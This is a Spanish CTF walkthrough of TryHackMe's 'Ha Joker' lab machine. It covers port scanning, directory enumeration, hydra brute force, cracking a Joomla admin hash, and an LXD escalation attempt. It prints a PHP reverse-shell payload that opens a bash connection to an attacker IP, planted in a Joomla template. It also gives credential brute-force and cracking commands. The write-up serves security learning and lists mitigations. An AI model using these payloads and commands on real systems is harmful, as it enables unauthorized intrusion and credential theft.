Ha Joker CTF - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxMedium
Ha Joker CTF - TryHackMe

📚 Esta publicación pertenece a la colección:

Ha Joker CTF - TryHackMe Walkthrough

Bienvenido a mi writeup de Ha Joker CTF de TryHackMe. Una máquina de dificultad media que encadena enumeración web, bruteforce de credenciales, descubrimiento de archivos ocultos, explotación de Joomla y acceso a una base de datos. La cadena de ataque requiere paciencia y técnicas combinadas de bruteforce y análisis de código fuente.

Room: Ha Joker CTF
Dificultad: Medium
OS: Linux
Objetivo: Capturar la flag de usuario y explotar el sistema

🎯 Información del Objetivo

IP Target: 10.114.175.146

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Comienzo verificando si la máquina está activa:

ping -c1 10.114.175.146
▶ output
(no hay respuesta)

La máquina no responde a ping. Esto indica que posiblemente tiene filtrado ICMP, que me está bloqueando o que aún no la he iniciado. Procedo directamente con el escaneo de puertos usando la flag -Pn para ignorar el ping.

Escaneo de Puertos

Realizo un escaneo amplio de todos los puertos:

nmap -p- --open --min-rate 5000 -sS -n -Pn 10.114.175.146
  • -p- → Escanea todos los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -sS → SYN scan (stealth)
  • -Pn → Sin ping previo
  • -n → Sin resolución DNS
▶ output
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Encuentro tres puertos abiertos. Parece que la máquina estaba filtrnado las peticiones ICMP. Realizo un escaneo más específico para identificar versiones:

nmap -p22,80,8080 -sCV 10.114.175.146
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones
▶ output
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache httpd 2.4.41
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 401 Unauthorized

El mapa de servicios:

  • Puerto 22 → SSH (OpenSSH 8.2p1)
  • Puerto 80 → HTTP (Apache 2.4.41) — Título "HA: Joker"
  • Puerto 8080 → HTTP (Apache 2.4.41) — Protegido por autenticación básica HTTP

📁 Fase 2: Enumeración

Exploración del Puerto 80

Accedo a la página principal del puerto 80. Veo una página con la temática del Joker — contiene imágenes y carteles con diferentes frases del personaje.

Página principal del puerto 80 — tema Joker

Reviso el código fuente buscando información sensible.

Encuentro que la página usa imágenes secuencialmente (img/1.png, img/2.png, etc.) por lo que pruebo a realizar IDOR con numeros secuenciales por delante o por detás pero no hay nada.

Tmapoco hay comentarios relevantes ni pistas evidentes en el código de la página. No veo cookies ni robots.txt.

Código de la página

Accedo a /img/ para ver si el servidor lista los archivos — efectivamente veo el listado, pero no hay nada fuera de lo esperado (imágenes de posters ya mostradas en la página principal).

Enumeración de Directorios y Archivos

Primero intento con ffuf para directorios:

ffuf -u http://10.114.175.146/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic
  • -ic → Ignora comentarios de la wordlist

Encuentro directorios estándar (/img/, /css/, /server-status/) pero nada revelador.

Luego pruebo enumeración de archivos con wordlist específica de archivos:

ffuf -u http://10.114.175.146/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt

Encuentro phpinfo.php pero no es relevante.

Sin resultados, pruebo diferentes wordlists pero no obtengo nada.

No sé por donde tirar, por lo que busco en internet una pequeña pista sobre esta room. La pista me dice que hay un archivo oculto el cual no estoy consiguiendo enumerar.

Quizás este archivo no lo he enumerado porque las wordlists que estoy usando no lo contemplan. Voy a probar con una wordlist de nombres comunes e ir iterando diferentes extensiones con cada nombre.

Uso gobuster con algunas extensiones comunes que se me ocurren:

gobuster dir -u http://10.114.175.146 -w /usr/share/wordlists/dirb/common.txt -x txt,php,bak,old,zip

Esto me descubre el archivo secret.txt — bingo.

Resultado Gobuster

Me dirijo a http://10.114.175.146/secret.txt para consultar su contenido y encuentro el siguiente mensaje:

Archivo secret.txt

El contenido puede parecer irrelevante a primera vista, pero menciona a Batman y Joker por lo que deduzco que podrían ser potenciales usuarios en el sistema.

🚀 Fase 3: Explotación

Bruteforce de Credenciales

Los usuarios obtenidos pueden servirme tanto para SSH como para el login HTTP del puerto 8080. Voy a intentar fuerza bruta en ambos servicios usando hydra. Empiezo por HTTP :

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -u -s 8080 10.114.175.146 http-get /

Donde users.txt contiene: joker, batman

▶ output
[8080][http-get] host: 10.114.175.146   login: joker   password: hannah

Perfecto, obtengo las credenciales del usuario joker y con contraseña hannah.

Accedo al puerto 8080 con las credenciales joker:hannah. Encuentro una instancia de Joomla CMS.

Sitio Joomla en puerto 8080

En el contenido de la página veo referencias al panel de administración de Joomla en /administrator. Intento acceder con las mismas credenciales pero no funcionan.

Uso gobuster con las credenciales obtenidas para enumerar archivos y directorios en el puerto 8080:

gobuster dir -u http://10.114.175.146:8080 -w /usr/share/wordlists/dirb/common.txt -x txt,php,bak,old,zip -U joker -P hannah

Encuentro varios archivos interesantes:

  • backup.zip — Archivo de backup ZIP
  • configuration.php — Archivo de configuración
  • Directorios como /modules/, /images/, etc.

Descargo el archivo backup.zip. Al intentar abrirlo veo que está protegido por contraseña, pruebo "hannah" (la contraseña de joker) y funciona.

Dentro del backup encuentro la estructura completa de Joomla incluido el directorio /db/ que contiene la base de datos SQLite del sitio.

Exploro la base de datos buscando credenciales en tablas como la de usuarios.

Encuentro el usuario admin con hash bcrypt: $2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG

🔓 Fase 4: Post-Explotación

Extraigo el hash en un archivo y lo crackeo con john the ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
▶ output
abcd1234

La contraseña del admin es abcd1234.

Esta vez he optado por hacerlo con JohnTheRipper porque me ha apetecido complicarme. Normalmente ante un hash siempre lo compruebo ante rainbow databases como Crackstation o Hashes.com
Si lo hubiera hecho por este método, Crackstation no daría resultado pero Hashes.com sí.

Accedo al panel de administración de Joomla en /administrator con admin:abcd1234.

Panel administrativo de Joomla

Estoy dentro como administrador.

RCE via Template PHP

Como administrador, tengo acceso total al CMS. Para obtener una shell en el sistema, voy a editar un archivo PHP de alguna plantilla o plugin.

Navego a Templates y selecciono la plantilla Beez3. Ahí edito el archivo error.php:

Elimino su contenido original y lo sustituyo con una reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'");
?>

Guardo los cambios. Antes de ejecutar la reverse shell, me pongo en escucha en mi máquina atacante:

nc -nlvp 4444

Luego visito el archivo editado en: http://10.114.175.146:8080/templates/beez3/error.php

▶ output
bash-5.0$

¡Obtengo una bash! Realizo tratamiento de TTY para tener una shell funcional:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm

Verifico mi usuario:

id
▶ output
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Estoy como www-data y pertenezco al grupo lxd. El grupo LXD es un gestor de contenedores Linux que, cuando un usuario normal pertenece a él, permite crear contenedores y montar el sistema de archivos del host, lo que facilita escalada de privilegios.

Intento de Escalada con LXD

Al intentar interactuar con lxd para crear un contenedor:

lxd init
▶ output
Sorry, home directories outside of /home needs configuration.

El comando genera un error relacionado con configuración de directorios home. Tras investigar, encuentro que esta máquina tiene restricciones que impiden el uso estándar de LXD para escalada.

Veo que a otros usuarios de TryHackMe no les aparece este error. Rehago la room tal y como hacen otros usuarios pero este error sigue apareciendo.

Sin poder completar la escalada por esta vía, el writeup real se detiene aquí.

Teóricamente, lo que queda de la room es montar un contenedor el cual refleje toda la estructura de ficheros del sistema nativo. En ese contenedor si tenemos permisos para ver cualquier archivo del sistema sin restricciones.

📊 Resumen

Cadena de Ataque

Ping sin respuesta → nmap con -Pn → Puertos 22, 80, 8080 → Puerto 80: secret.txt con pistas de usuario "joker" → Bruteforce puerto 8080 → joker:hannah → Joomla descubierto → gobuster autenticado → backup.zip descargado → base de datos extraída → hash admin crackeado → admin:abcd1234 → Joomla administrativo → edición template error.php → reverse shell → www-data → grupo lxd (escalada incompleta)

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • ffuf — Enumeración de directorios y archivos
  • gobuster — Enumeración con autenticación HTTP
  • hydra — Bruteforce HTTP Basic Auth
  • john the ripper — Crackeo de hash bcrypt
  • netcat — Reverse shell listener

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Archivo secret.txt enumerable por bruteforceMEDIANo usar nombres predecibles o genéricos para archivos sensibles
Credenciales débiles en HTTP Basic AuthALTAImplementar autenticación robusta, multifactor, limitar intentos de login
Backup ZIP con contraseña reutilizadaALTAUsar contraseñas únicas y complejas; no reutilizar credenciales
Base de datos no protegida en backup descargableCRÍTICANunca incluir bases de datos en backups públicamente accesibles
Hash de admin en base de datos (bcrypt débil)ALTAUsar algoritmos modernos de hashing (Argon2); aumentar factor de costo
Credenciales admin reutilizablesALTAForzar contraseñas complejas; política de rotación de contraseñas
RCE via edición de template PHP — permisos excesivos de adminCRÍTICALimitar qué archivos pueden editar los administradores; sandboxing
Usuario www-data en grupo LXD (escalada potencial)CRÍTICANo añadir usuarios de servicio a grupos privilegiados innecesarios

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.